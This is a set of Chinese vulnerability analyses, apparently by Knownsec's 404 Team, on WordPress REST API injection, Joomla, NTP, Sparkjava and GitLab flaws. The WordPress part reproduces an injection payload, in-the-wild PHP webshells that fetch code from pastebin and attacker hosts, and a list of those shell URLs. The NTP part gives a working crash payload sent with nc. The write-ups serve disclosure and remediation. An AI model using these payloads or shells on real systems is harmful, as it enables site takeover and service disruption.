Seebug 已给出详细的复现过程,在此过程中可以使用 Seebug 收录的 PoC 来进行测试。 https://www.seebug.org/vuldb/ssvid-92637
漏洞验证扫描插件: Seebug 已更新 WordPress REST API 内容注入漏洞扫描插件。
( https://www.seebug.org/monster/ )
安装 WordPress存在漏洞版本并配置 REST API 以及 Apache+PHP+Mysql 的运行环境。加载 Apache 的 rewrite 模块以及主配置文件配置如下图:
设置 WordPress 站点为固定链接:
构造数据包:可以看到不存在任何验证信息,提示不允许编辑文章:
构造可利用数据包:当 url 为 /wp-json/wp/v2/posts/1?id=1a 时,可以看到成功跳过验证获取文章内容:
木马后门插入:
需要安装如 insert_php
, exec_php
等允许页面执行PHP 代码的插件。 可以构造数据包如下:
1 2 |
content<span class="token punctuation">:</span>"<span class="token punctuation">[</span>insert_php<span class="token punctuation">]</span> <span class="token keyword">include</span><span class="token punctuation">(</span>'http<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token comment">]//acommeamour.fr/tmp/xx.php'); [/insert_php][php] include('http[:]//acommeamour.fr/tmp/xx.php'); [/php]","id":"61a"} </span> |
上传后木马后门被插件当做 PHP 代码执行,网站被植入后门。
Seebug Paper (http://paper.seebug.org/208/ )已经发表了关于此漏洞的详细分析,以此作为参考。
首先,在 ./wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php
中,
这里对路由进行了正则限制,防止攻击者恶意构造 id 值,但是我们可以发现 $get
和 $post
值优先于路由正则表达式生成的值。
接下来在 update_item
方法及其权限检查函数update_item_permissions_check
中:
可以看出,当我们发送一个没有响应文章的 id 时,可以通过权限检查并允许继续执行对 update_item
方法的请求。具体到代码就是让 $post
为空来绕过权限检查。
至于如何使 $post
为空,可跟进至 get_post
方法,发现其使用 wp_posts
中的 get_instance
静态方法获取文章:
当我们传入的id 不是全由数字字符组成时返回 false,从而 get_post
方法返回null,接着绕过权限检查。 回头再看可执行方法 upload_item
:
这里 $id
这个参数做了类型转化传递给 get_post
,而PHP类型转换时会出现这种情况:
也就是说攻击者发起 /wp-json/wp/v2/posts/1?id=1hhh
的请求就是发起了对id 为1的文章的请求。
在 /wp-includes/class-wp-post.php
中:
更改了对于 $post_id 的参数的传入顺序和判断条件,防止我们传入“数字+字母”这样的格式进行绕过。
第一次扫描探测结果:
我们于 2017/02/11 对全球的 WordPress 网站进行了扫描探测,发现当时仍旧受影响的 WordPress 网站共有 15361个。
这些网站分别归属于82个国家与地区,其中 Top 20 国家与地区分布如下图:
第二次扫描探测结果:
我们于 2017/02/14 对全球的 WordPress 网站再次进行了扫描探测,获取最新数据如下:
现存漏洞站数量:13390 个,与 2017/02/11 数据对比减少了1971 个。 其中数据重合量为12584 个,网站新增量为 806 个,存在代码执行插件的网站数量为 905 个。
第三次扫描探测结果:
我们于 2017/02/20 对全球 WordPress 网站进行了第三次扫描探测。
根据第三次得到的数据,我们发现全球依旧存在漏洞的 WordPress 网站数量为11573个,其中与第二次数据重合量为11182个,新增数量为391个,消失数量为2208个,存在代码执行插件的网站数量为69个。
三次扫描探测数据对比:
分析上图,我们发现:
Top 10国家存在漏洞网站总量与消失量对比:
根据上图我们能很清晰的看出, 02/11 后消失的漏洞网站数量约占原有漏洞网站总量的三分之一 。
我们于 2017/02/13 探测这些网站的运行情况,发现共有 9338 个网站已经留下了黑客的痕迹(痕迹如 hacked by xxx)。
Ps:我们探测的是依旧存在漏洞的网站并获取网站最新文章信息,而在经过修复的网站上还是有可能存在黑客入侵的痕迹。
我们统计了黑客组织留下的黑客代号,发现不同的黑客代号共出现了85种。其中 Top 20黑客组织代号如下表:
上表说明的是此时依旧活跃在互联网上的针对该漏洞的黑客组织的排名。 我们分析了黑客留下的痕迹,初步总结了以下几点信息:
1. 代号为w4l3XzY3 的黑客是事件早期被报道出来的黑客之一,此人曾经于2014年针对 Drupal 网站进行过相同性质的入侵行为。分析其过往行为发现该黑客一直在入侵网站挂黑页,Google搜索该代号已有295000条记录,已经是个惯犯了。
https://www.drupal.org/node/2394801
此人推特链接如下: https://twitter.com/w4l3xzy3
在 nairaland 论坛上有他留下的一些个人信息以及售卖php shell等工具的主题:http://www.nairaland.com/w4l3xzy3
2. 代号为 SA3D HaCk3D 与 MuhmadEmad 的黑客入侵后留下的页面是相似的,宣传反 ISIS 的信息。前者提到了 peshmarga ,应该是一个中东国家,具有反美倾向。后者提到了 kurdistan ,是黑客组织 “ KurdLinux_Team ” 的成员。该人疑似曾在推特上炫耀自己的黑客行为。
https://twitter.com/muhmademad
3. 代号为 GeNErAL HaCkEr ,GeNErAL 与 RxR HaCkEr 的黑客同样疑似出自同一组织。他们还留下了一个 qq 号码:21*****233 。
搜索该账号获得信息如下图:
可以看到组织名为 “ Team Emirates” 搜索相关信息发现一个疑似的相关推特https://twitter.com/rxrhackerr
4. 代号为 GHoST61 的黑客留下的信息为土耳其语,翻译出来大意是“土耳其无处不在”,疑似为出自土耳其的黑客组织。
暗链与插件导致的PHP代码注入与 RCE :
我们发现当未修复漏洞的网站启用了如 insert_php
或 exec_php
等允许网页执行 PHP 代码的插件时,黑客利用此漏洞除了能够在网页中插入暗链还能在网站中注入后门并以此牟利。
我们在15361个未修复漏洞的目标站点中,探测到的使用了这两种插件的网站有905个,已经被注入木马后门的网站一共有158个。其中插入的一句话木马口令共有98种。
暗链发现情况:
在本次探测到的数据中发现暗链出现频率第一的网址 http://biturlz.com ,重定向到 https://bitly.com 这个网址,出现次数355次。
出现频率第二的是 www.yellowfx.com 这个网址,53次。
余下的网址出现频率则比较接近,分布范围较广。
本次探测到的黑客shell地址如下:
http://pastebin.com/raw/ku5zcKfu
https://paste.ee/r/3TwsC/0
http://pastebin.com/k20u5zcKfu
http://pastebin.com/raw/F9ffPKBM
http://pastebin.com/raw/gYyy6Jd7
http://pastebin.com/raw/fXB166iS
http://pastebin.com/raw/gLc9bi4z
http://acommeamour.fr/tmp/3jqy4.php
PHP shell 种类:
从探测到的数据分析,此次事件中出现的shell种类如下:
1 2 3 4 5 6 7 |
<span class="token number">1</span>: <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">isset<span class="token punctuation">(</span></span><span class="token global">$_REQUEST</span><span class="token punctuation">[</span>xxx<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">{</span><span class="token function">eval<span class="token punctuation">(</span></span><span class="token global">$_REQUEST</span><span class="token punctuation">[</span>xxx<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>exit<span class="token punctuation">;</span><span class="token punctuation">}</span> <span class="token number">2</span>: <span class="token keyword">include</span><span class="token punctuation">(</span>‘<span class="token punctuation">;</span>http<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>pastebin<span class="token punctuation">.</span>com<span class="token operator">/</span>raw<span class="token operator">/</span>F9ffPKBM’<span class="token punctuation">;</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token number">3</span>: <span class="token function">file_put_contents<span class="token punctuation">(</span></span>‘<span class="token punctuation">;</span>wp<span class="token operator">-</span>content<span class="token operator">/</span>uploads<span class="token operator">/</span>info<span class="token punctuation">.</span>php’<span class="token punctuation">;</span> ”<span class="token punctuation">;</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token number">4</span>: <span class="token function">fwrite<span class="token punctuation">(</span></span><span class="token function">fopen<span class="token punctuation">(</span></span>‘<span class="token punctuation">;</span>wp<span class="token operator">-</span>content<span class="token operator">/</span>uploads<span class="token operator">/</span>wp<span class="token punctuation">.</span>php’<span class="token punctuation">;</span>’<span class="token punctuation">;</span>w<span class="token operator">+</span>’<span class="token punctuation">;</span><span class="token punctuation">)</span><span class="token function">file_get_contents<span class="token punctuation">(</span></span>‘<span class="token punctuation">;</span>http<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>pastebin<span class="token punctuation">.</span>com<span class="token operator">/</span>raw<span class="token operator">/</span>ku5zcKfu’<span class="token punctuation">;</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token number">5</span>: <span class="token keyword">if</span> <span class="token punctuation">(</span> <span class="token function">copy<span class="token punctuation">(</span></span>‘<span class="token punctuation">;</span>https<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>paste<span class="token punctuation">.</span>ee<span class="token operator">/</span>r<span class="token operator">/</span>3TwsC<span class="token operator">/</span><span class="token number">0</span>’<span class="token punctuation">;</span> ‘<span class="token punctuation">;</span>db<span class="token punctuation">.</span>php’<span class="token punctuation">;</span><span class="token punctuation">)</span> <span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token keyword">echo</span> ‘<span class="token punctuation">;</span>Content_loaded_please_wait<span class="token operator">!</span>’<span class="token punctuation">;</span><span class="token punctuation">;</span><span class="token punctuation">}</span><span class="token keyword">else</span><span class="token punctuation">{</span><span class="token keyword">echo</span> ‘<span class="token punctuation">;</span>Content_failed<span class="token punctuation">.</span>’<span class="token punctuation">;</span><span class="token punctuation">;</span><span class="token punctuation">}</span> |
黑客利用 pastebin.com 等网站存放 shell,目前为止这些网站已经开始陆续关闭。攻击峰潮已过,我们需要抓紧进行事后补救工作。
值得注意的是虽然本次探测到的被植入后门的网站数量并不是很多,但是修复漏洞并不代表清理了后门,所以实际被挂马的网站数量将会更多。
建议启用类似 insert-php 插件的用户在升级 WordPress之后检查网站目录,查杀木马。尤其是 wp-content/uploads/ 目录,检查网站目录下是否出现文件改动如 wp.php、 info.php、db.php 等文件并核查文件内容。
从获取到的黑客shell 内容分析,index.php 、 apis.php、wp.php、info.php、db.php、css.php、insert_php.php 这些文件需要重点检查。
对于此次事件,我们还将予以持续跟进。
升级 WordPress到最新版 4.7.2 ,可以选择下载 WordPress 4.7.2 或者前往后台更新面板手动点击升级。支持后台自动升级的网站已经自动完成升级过程。
404 Team,国内黑客文化浓厚的知名安全公司知道创宇神秘而核心的部门,最为大家熟知的分享包括:KCon 黑客大会、Seebug 漏洞平台、ZoomEye 钟馗之眼网络空间搜索引擎。
404 Team 依托 Seebug 与 ZoomEye 两大平台能力及内部的漏洞相关工业化平台能力(WSL),总能在漏洞爆发的最小黄金周期内完成全球性响应。
除了依托这些开放平台打造了全球黑客生态圈之外,404 Team 还在持续创新创造,为整个知道创宇业务需求输出精心打磨的漏洞弹药及相关安全产品。
404 Team,守正出奇,知行合一。
Author: p0wd3r (知道创宇404安全实验室)
Date: 2016-12-21
Joomla 于12月13日发布了3.6.5的升级公告,此次升级修复了三个安全漏洞,其中 CVE-2016-9838 被官方定为高危。根据官方的描述,这是一个权限提升漏洞,利用该漏洞攻击者可以更改已存在用户的用户信息,包括用户名、密码、邮箱和权限组 。经过分析测试,成功实现了水平用户权限突破,但没有实现垂直权限提升为管理员。
触发漏洞前提条件:
成功攻击后攻击者可以更改已存在用户的用户信息,包括用户名、密码、邮箱和权限组 。
1.6.0 - 3.6.4
docker-compose.yml:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
version: '2' services: db: image: mysql environment: - MYSQL_ROOT_PASSWORD=hellojm - MYSQL_DATABASE=jm app: image: joomla:3.6.3 depends_on: - db links: - db ports: - "127.0.0.1:8080:80" |
然后在 docker-compose.yml 所在目录执行docker-compose up
,访问后台开启注册再配置SMTP即可。
翻译过来就是:
对表单验证失败时存储到 session 中的未过滤数据的不正确使用会导致对现有用户帐户的修改,包括重置其用户名,密码和用户组分配。
因为没有具体细节,所以我们先从补丁下手,其中这个文件的更改引起了我的注意:
https://github.com/joomla/joomla-cms/commit/435a2226118a4e83ecaf33431ec05f39c640c744
可以看到这里的$temp
是 session 数据,而该文件又与用户相关,所以很有可能就是漏洞点。
我们下面通过这样两个步骤来分析:
1.寻找输入点
我们找一下这个 session 是从哪里来的:
在components/com_users/controllers/registration.php
中设置,在components/com_users/models/registration.php
中获取。我们看components/com_users/controllers/registration.php
中第108-204行的register
函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
public function register() { ... $data = $model->validate($form, $requestData); // Check for validation errors. if ($data === false) { ... // Save the data in the session. $app->setUserState('com_users.registration.data', $requestData); ... } // Attempt to save the data. $return = $model->register($data); // Check for errors. if ($return === false) { // Save the data in the session. $app->setUserState('com_users.registration.data', $data); ... } ... } |
这两处设置 session 均在产生错误后进行,和漏洞描述相符,并且$requestData
是我们原始的请求数据,并没有被过滤,所以基本可以把这里当作我们的输入点。
我们来验证一下,首先随便注册一个用户,然后再注册同样的用户并开启动态调试:
由于这个用户之前注册过,所以验证出错,从而将请求数据写入了 session 中。
取 session 的地方在components/com_users/models/registration.php
的getData
函数,该函数在访问注册页面时就会被调用一次,我们在这时就可以看到 session 的值:
由于存储的是请求数据,所以我们还可以通过构造请求来向 session 中写入一些额外的变量。
2.梳理处理逻辑
components/com_users/models/registration.php
的register
函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 |
public function register($temp) { $params = JComponentHelper::getParams('com_users'); // Initialise the table with JUser. $user = new JUser; $data = (array) $this->getData(); // Merge in the registration data. foreach ($temp as $k => $v) { $data[$k] = $v; } // Prepare the data for the user object. $data['email'] = JStringPunycode::emailToPunycode($data['email1']); $data['password'] = $data['password1']; $useractivation = $params->get('useractivation'); $sendpassword = $params->get('sendpassword', 1); ... // Bind the data. if (!$user->bind($data)) { $this->setError(JText::sprintf('COM_USERS_REGISTRATION_BIND_FAILED', $user->getError())); return false; } // Load the users plugin group. JPluginHelper::importPlugin('user'); // Store the data. if (!$user->save()) { $this->setError(JText::sprintf('COM_USERS_REGISTRATION_SAVE_FAILED', $user->getError())); return false; } ... } |
在这里调用了之前的getData
函数,然后使用请求数据对$data
赋值,再用$data
对用户数据做更改。
首先跟进$user->bind($data)
,在libraries/joomla/user/user.php
中第595-693行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
public function bind(&$array) { ... // Bind the array if (!$this->setProperties($array)) { $this->setError(JText::_('JLIB_USER_ERROR_BIND_ARRAY')); return false; } // Make sure its an integer $this->id = (int) $this->id; return true; } |
这里根据我们传入的数据对对象的属性进行赋值,setProperties
并没有对赋值进行限制。
接下来我们看$user->save($data)
,在libraries/joomla/user/user.php
中第706-818行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
public function save($updateOnly = false) { // Create the user table object $table = $this->getTable(); $this->params = (string) $this->_params; $table->bind($this->getProperties()); ... if (!$table->check()) { $this->setError($table->getError()); return false; } ... // Store the user data in the database $result = $table->store(); ... } |
具体内容就是将$user
的属性绑定到$table
中,然后对$table
进行检查,这里仅仅是过滤特殊符号和重复的用户名和邮箱,如果检查通过,将数据存入到数据库中,存储数据的函数在libraries/joomla/table/user.php
中:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
/** * Method to store a row in the database from the JTable instance properties. * * If a primary key value is set the row with that primary key value will be updated with the instance property values. * If no primary key value is set a new row will be inserted into the database with the properties from the JTable instance. * * @param boolean $updateNulls True to update fields even if they are null. * * @return boolean True on success. * * @since 11.1 */ public function store($updateNulls = false) |
如果主键存在则更新,主键不存在则插入。
整个的流程看下来我发现这样一个问题:
如果$data
中有id
这个属性并且其值是一个已存在的用户的 id ,由于在bind
和save
中并没有对这个属性进行过滤,那么最终保存的数据就会带有 id 这个主键,从而变成了更新操作,也就是用我们请求的数据更新了一个已存在的用户。
实际操作一下,我们之前注册了一个名字为 victim 的用户,数据库中的 id 是57:
然后我们以相同的用户名再发起一次请求,然后截包,添加一个值为57名为jform[id]
的属性:
放行后由于重复注册从而发生错误,程序随后将请求数据记录到了 session 中:
接下来我们发送一个新的注册请求,用户名邮箱均为之前未注册过的,在save
函数处下断点:
id 被写进了$user
中。然后放行请求,即可在数据库中看到结果:
之前的 victim 已被新用户 attacker 取代。
整个攻击流程总结如下:
(上面的演示中A和C是同一个用户)
需要注意的是我们不能直接发送一个带有 id 的请求来更新用户,这样的请求会在validate
函数中被过滤掉,在components/com_users/controllers/registration.php
的register
函数中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
public function register() { ... $data = $model->validate($form, $requestData); // Check for validation errors. if ($data === false) { ... // Save the data in the session. $app->setUserState('com_users.registration.data', $requestData); ... } // Attempt to save the data. $return = $model->register($data); ... } |
所以我们采用的是先通过validate
触发错误来将 id 写到 session 中,然后发送正常请求,在register
中读取 session 来引入 id,这样就可以绕过validate
了。
另外一点,实施攻击后被攻击用户的权限会被改为新注册用户的权限(一般是 Registered),这个权限目前我们无法更改,因为在getData
函数中对groups
做了强制赋值:
1 2 3 4 5 6 7 8 9 10 11 |
$temp = (array) $app->getUserState('com_users.registration.data', array()); ... // Get the groups the user should be added to after registration. $this->data->groups = array(); // Get the default new user group, Registered if not specified. $system = $params->get('new_usertype', 2); $this->data->groups[] = $system; |
所以目前只是实现了水平权限的提升,至于是否可以垂直权限提升以及怎么提升还要等官方的说明或者是大家的分析。
由于没有技术细节,一切都是根据自己的推断而来,如有错误,还望指正 🙂
使用 session 时仅允许使用指定的属性。
升级至3.6.5
https://www.joomla.org/announcements/release-news/5693-joomla-3-6-5-released.html
Author: LG, dawu (知道创宇404实验室)
NTP服务对于互联网来说是不可或缺的,很多东西都能和它联系到一起。就在不久前,轰动一时的德国断网事件中也出现了它的影子。保证NTP服务器的安全是很重要的!
NTPD是一个linux系统下同步不同机器时间的服务程序。
近日NTP.org公布了一个拒绝服务漏洞,该漏洞能够导致NTPD服务遭受远程DoS攻击。
受影响版本面临DoS攻击风险
NTPD服务端配置安全性低,能接收任意端mrulist
数据包。此时攻击者能够远程发送经过构造的mrulist
数据包对其进行Dos攻击。
使用以下命令检测NTP版本: # ntpq -c version
受影响版本列表中的版本未作相关安全配置将受漏洞影响。 github上已有公布的漏洞利用poc,但是该poc会使NTPD服务崩溃,利用后需要重启服务。
漏洞利用poc
docker搭建环境:
1 |
docker run --rm -it --name ntpvulnerable -p 123:123/udp vulnerables/cve-2016-7434 |
之后命令行输入:
1 |
echo "FgoAEAAAAAAAAAA2bm9uY2UsIGxhZGRyPVtdOkhyYWdzPTMyLCBsYWRkcj1bXTpXT1AAMiwgbGFkZHI9W106V09QAAA=" | base64 -d | nc -u -v 127.0.0.1 123 |
最后NTPD服务崩溃
漏洞发现者构造了这样一段mrulist
数据包
1 |
FgoAEAAAAAAAAAA2bm9uY2UsIGxhZGRyPVtdOkhyYWdzPTMyLCBsYWRkcj1bXTpXT1AAMiwgbGFkZHI9W106V09QAAA= |
base64解码后
base64解码(以16进制显示):
1 2 3 4 5 6 7 8 9 |
\x16 \x0a \x00 \x10 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x36 \x6e \x6f \x6e \x63 \x65 \x2c \x20 \x6c \x61 \x64 \x64 \x72 \x3d \x5b \x5d \x3a \x48 \x72 \x61 \x67 \x73 \x3d \x33 \x32 \x2c \x20 \x6c \x61 \x64 \x64 \x72 \x3d \x5b \x5d \x3a \x57 \x4f \x50 \x00 \x32 \x2c \x20 \x6c \x61 \x64 \x64 \x72 \x3d \x5b \x5d \x3a \x57 \x4f \x50 \x00 \x00 |
此处参考NTP协议格式:
NTP packet = NTP header + Four TimeStamps = 48byte
NTP header : 16byte
LI(LeapYearIndicator) | VN(VersionNumber) | Mode | Stratum | Poll(PollInterval) | Precision |
---|---|---|---|---|---|
2bit | 3bit | 3bit | 8bit | 8bit | 8bit |
详情请看 NTP报文格式
主要字段的解释如下: ·LI(Leap Indicator,闰秒提示):长度为2比特,值为“11”时表示告警状态,时钟未被同步。为其他值时NTP本身不做处理。 ·VN(Version Number,版本号):长度为3比特,表示NTP的版本号,目前的最新版本为4。 ·Mode:长度为3比特,表示NTP的工作模式。不同的值所表示的含义分别是:0未定义、1表示主动对等体模式、2表示被动对等体模式、3表示客户模式、4表示服务器模式、5表示广播模式或组播模式、6表示此报文为NTP控制报文、7预留给内部使用。 ·Stratum:系统时钟的层数,取值范围为1~16,它定义了时钟的准确度。层数为1的时钟准确度最高,准确度从1到16依次递减,层数为16的时钟处于未同步状态。 ·Poll:轮询时间,即两个连续NTP报文之间的时间间隔。 ·Precision:系统时钟的精度。
了解了NTP的报文格式后,上文数据包中的NTP header:
1 2 |
\x16 \x0a \x00 \x10 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x36 \x6e \x6f \x6e \x63 |
payload分析到这里暂时无下文,于是我们转去研究了漏洞触发点部分
如下图,我们根据valgrind给出的调试信息寻找漏洞触发点
判断漏洞触发点位于ntpd/ntpcontrol.c:4041,readmru_list()函数体内
漏洞触发原因是estrdup
函数空指针的引用。
estrdup
函数的参数不能为NULL
,否则会使程序崩溃。因为estrdup
函数包含了strdup
函数,而strdup
函数又包含了strlen
函数,该函数参数不能是NULL
。
那么这说明val
是有可能引入空指针的了? val
是由ctl_getitem()
函数引入的,稍后我们上溯去看。
我们先来看readmrulist函数中var list
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
/* * fill in_parms var list with all possible input parameters. */ in_parms = NULL; set_var(&in_parms, nonce_text, sizeof(nonce_text), 0); set_var(&in_parms, frags_text, sizeof(frags_text), 0); set_var(&in_parms, limit_text, sizeof(limit_text), 0); set_var(&in_parms, mincount_text, sizeof(mincount_text), 0); set_var(&in_parms, resall_text, sizeof(resall_text), 0); set_var(&in_parms, resany_text, sizeof(resany_text), 0); set_var(&in_parms, maxlstint_text, sizeof(maxlstint_text), 0); set_var(&in_parms, laddr_text, sizeof(laddr_text), 0); for (i = 0; i < COUNTOF(last); i++) { snprintf(buf, sizeof(buf), last_fmt, i); set_var(&in_parms, buf, strlen(buf) + 1, 0); snprintf(buf, sizeof(buf), addr_fmt, i); set_var(&in_parms, buf, strlen(buf) + 1, 0); } |
它把mrulist
数据包中各字段输入in_parms
中,并且用到了sizeof()
1 |
const char nonce_text[] = "nonce"; |
看到这里,我们明白了nonce_text
字段长度是6字节。
接着我们上溯ctl_getitem
函数。它的功能是处理解码后数据包中的数据。首先处理的就是nonce_text
字段。
这里val就是*data,*var_list就是in_parms,v就是每个字段的数据
注意line(3103-3107)以及line(3111-3116)处的代码: while循环的条件是从字符串首部开始扫描,出现空或者,
就把reqpt
右移一个字节。
for循环的判断语句中以,
为终止标志,以=
为赋值标志。如果没有出现=
来进行判断后赋值,字段就会一直为空。
关键点出现了:在之前构造payload时,目标就是这里(阻止=
的出现)。
我们延续对payload的分析,结合上文payload分析base64解码部分信息,其实已经显示出来了。6nonce,
大家注意到了吗? nonce
前面的一个字节正常格式原本应该是=
的,漏洞发现者把它置为6了(16进制就是\x36
)。其实只要构造"nonce"前一个字节不是=
(16进制是\x3d
)而且前3个字节都为NULL,漏洞触发条件就满足了。
我们来验证一下:
到此总结一下: payload构造关键点在于上文中NTP header格式如下
NULL
NULL
NULL
非=
nonce,
ps:非=
需要的是能正常解码出来的字符串,乱码是不行的。
ntp4.2.8p9版本修补了这个漏洞。官方修补方案是在read_mru_list()
中严格地进行val
参数的检测并做了一些限制措施。此外官方在最新版ntp_control.c
的release中又对ctl_getitem
函数进行了安全修改。
我们分析后认为补丁关键点如下:
1 2 3 4 5 |
if (NULL == val) val = nulltxt; if (!strcmp(nonce_text, v->text)) { free(pnonce); pnonce = (*val) ? estrdup(val) : NULL; |
其中char * val
变为const char * val
1 2 |
- char * val; + const char * val; |
修改后逻辑运行为必须通过void *
从指针中去掉const
属性。 接着严格判断val
是不是NULL
,若val
指针为NULL
则中断。 在此情况下原漏洞触发点处变为先判断*val
,判断式只会为真,避免了空指针的引用,从而修复了此处漏洞。
在实际场景中,存在漏洞的NTPD服务器如果未作任何防护措施,攻击者极易对其进行远程DoS攻击。但是攻击结果仅是使服务崩溃,重启服务就能正常运行,对NTP服务器本身无其他深层影响。 但是,如实验室,飞机场,银行等机构的业务结算对于时间的校验应该非常严格。一旦针对性地攻击与它们相关联的NTP服务器导致系统时间无法正常同步,对于业务结算等是能够造成一定冲击的。
Author:dawu(知道创宇404实验室) data:2016-11-16
Sparkjava是一款小型的web框架,它能够让你以很少的代码构建出一个java web应用。近日,某国外安全研究人员发现其存在文件遍历漏洞,可以通过该漏洞读取任意文件内容。在对这个漏洞进行复现与分析的时候,我们又发现了一些可能可以利用的地方,但是利用条件更加苛刻。
Sparkjava版本 < 2.5.2
Jdk-1.8.111 Apache maven 3.3.9 在写好Sparkjava代码后,在文件所在目录打开命令行,运行mvn package进行编译打包。
根据官网给出的示例,我们写了一个简单的函数去复现这个漏洞:
1 2 3 4 5 6 7 8 9 |
public class Hello { public static void main(String[] args) { staticFiles.externalLocation(“/tmp”); get("/", (req, res) -> { return "hello from sparkjava.com"; }); } } |
pom.xml的配置为xml <dependency> <groupId>com.sparkjava</groupId> <artifactId>spark-core</artifactId> <version>2.5</version> </dependency>
这里提供已经打包好的jar文件供大家下载。可以用如下命令运行:bash java -jar sparkexample-jar-with-dependencies.jar
我们可以通过(..\)来改变路径从而读取任意文件。如图,我们读取到/etc/passwd:
在漏洞发现者的描述中,Spark.staticFileLocation()和Spark.externalStaticFileLocation()这两个函数都存在这个问题。经过开发者测试,在IDE中运行时,两个函数都可以复现这个漏洞;运行打包好的jar包时,只有Spark.externalStaticFileLocation()这个函数可以触发漏洞。
很明显,在漏洞被发现时,官方没有对url中的路径做任何处理。在漏洞被修补之后,官方推出了新的版本2.5.2。这里我们对比之前的版本,并且通过调试,尝试分析官方的修补方案。 官方修补链接(https://github.com/perwendel/spark/commit/efcb46c710e3f56805b9257a63d1306882f4faf9) 当我们正常请求时:bash curl "127.0.0.1:4567/l.txt"
跟到关键代码处,我们可以看到在判断文件是否存在之后,官方添加了DirectoryTraversal.protectAgainstInClassPath(resource.getPath());
进行判断。
这里,path就是我们HTTP请求的地址,addedPath
就是我们通过staticFiles.externalLocation()
函数设置的路径与path拼接之后的值,resource
中的file
的值就是addedPath
值经过路径的处理的值(例如:/tmp/test/..\l.txt
先将所有的\
换成/
,再对路径进行处理,最后结果为/tmp/l.txt
),resource.getPath()
就是addedPath
的值。
在protectAgainstInClassPath()
函数中,需要判断removeLeadingAndTrailingSlashesFrom(path).startsWith(StaticFilesFolder.external())
是否为false
,为false
就抛出。
removeLeadingAndTrailingSlashesFrom(path)
为新添加的函数,作用是将path首尾的/
去掉和将尾部的\
去掉。在这里经过处理之后,path
的值为tmp/l.txt
。
StaticFilesFolder.external()
则是返回external的值,在这里就是tmp。如果removeLeadingAndTrailingSlashesFrom(path)
前面的字母是tmp
,则进入下一步。
综上所述,官方通过比较经过处理后的路径的开头和我们设置的externalLocation()的路径是否相同来防止我们利用..\
读取任意文件。
我们修改了pom.xml,使用新的Sparkjava版本进行编译尝试,做了如下探究。xml <dependency> <groupId>com.sparkjava</groupId> <artifactId>spark-core</artifactId> <version>2.5.2</version> </dependency>
与Sparkjava(CVE-2016-9177)同时爆出来的一个漏洞GitLab的任意文件读取(CVE-2016-9086)是利用软链接的特性,我们就顺手测试了软链接在Sparkjava下的利用。 直接读取文件:
怎么才能利用软链接呢?这里的利用条件比较苛刻。笔者想到了两种途径: 1.网站允许上传压缩包,上传后解压并且还能访问到解压后的文件才能利用 2.网站通过wget(wget配置文件中需要retr-symlinks=on)从ftp上下载文件并且能够访问到下载的文件。
再访问
读取到了tmp.txt和tmp2.txt的内容。 我们分析一下能够再次读取的原因,当我们请求为: bash curl “127.0.0.1:4567/tmp\..\..\tmp.txt”
分析过滤代码处:
addedPath
的值为/tmp/tmp/..\..\tmp.txt
,经过处理后resource中的file值为/tmp.txt
,对于下面的函数removeLeadingAndTrailingSlashesFrom(path).startsWith(StaticFilesFolder.external())
,由于tmp.txt
也是由tmp
开头,所以判断可以通过,进而读取到tmp.txt
。
同样的道理,我们也可以读取到/tmp2/test.txt
的内容。
通过以上分析,笔者认为这个读取很鸡肋,首先staticFiles.externalLocation()中定义的路径只能是一级路径,其次我们要读取的文件的完整路径开头必须和staticFiles.externalLocation()中定义的路径相同。这就限制了这个新的读取,也许只有在某些特定的场合才能有奇效。
如有错误,欢迎指正:)
1.https://www.seebug.org/vuldb/ssvid-92517 2.http://seclists.org/fulldisclosure/2016/Nov/133.https://github.com/perwendel/spark/commit/efcb46c710e3f56805b9257a63d1306882f4faf94.https://github.com/perwendel/spark/issues/700 5.http://sparkjava.com/documentation.html
Author:dawu,LG(知道创宇404安全实验室) Data:2016-10-09
GitLab 是一个利用Ruby on Rails开发的开源应用程序,实现一个自托管的Git项目仓库,可通过Web界面进行访问公开的或者私人项目。近日研究者发现在其多个版本中存在文件读取漏洞(CVE-2016-9086) 和 任意用户authentication_token泄漏漏洞,攻击者可以通过这两个漏洞来获取管理员的权限,进而控制所有gitlab项目。
1 2 3 4 |
sudo apt-get install curl openssh-server ca-certificates postfix curl -s https://packages.gitlab.com/install/repositories/gitlab/gitlab-ce/script.deb.sh | sudo bash sudo apt-get install gitlab-ce=8.10.3-ce.1 sudo gitlab-ctl reconfigure |
这里使用8.10.3版本是为了任意用户authentication_token泄露漏洞的复现。
安装完成后,访问服务器80端口即可看到GitLab登录页面。
注:8.9.0-8.13.0版本的GitLab的项目导入功能需要管理员开启,8.13.0版本之后所有用户都可以使用导入功能。管理员可以访问http://domain/admin/application_settings 开启,开启之后用任意用户新建项目的时候,可以在import project from一项中看到gitlab export。
从8.9.0
版本开始,GitLab
新增了导入导出项目的功能。
一个空的gitlab
项目导出后结构如下:
其中VERSION
文件内容为GitLab的导出模块的版本,project.json
则包含了项目的配置文件。
当我们导入GitLab的导出文件的时候,GitLab会按照如下步骤处理: 1.服务器根据VERSION
文件内容检测导出文件版本,如果版本符合,则导入。
